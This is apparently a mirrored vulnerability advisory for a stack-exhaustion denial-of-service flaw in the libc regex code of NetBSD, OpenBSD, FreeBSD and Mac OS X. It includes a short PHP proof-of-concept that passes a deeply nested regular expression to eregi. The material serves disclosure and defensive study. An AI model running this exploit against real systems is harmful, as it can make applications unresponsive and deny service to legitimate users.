PHP Decode

source: http://www.securityfocus.com/bid/50541/info 
 
Multiple Vendors' libc library is prone to a denial-of-service vulnerability due to stack exhaustion. 
 
Successful exploits will allow attackers to make the applications that use the affected library, unresponsive, denying service to legitimate users. 
 
The libc library of the following platforms are affected: 
 
NetBSD 5.1 
OpenBSD 5.0 
FreeBSD 8.2 
Apple Mac OSX 
 
Other versions may also be affected.  
 
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ini_set("memory_limit","32M"); 
 
if($argv[1]==1) 
$sss=str_repeat("A",$argv[2]); 
elseif($argv[1]==2) 
eregi("(.?)((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((( 
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1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}","a"); 
 
?>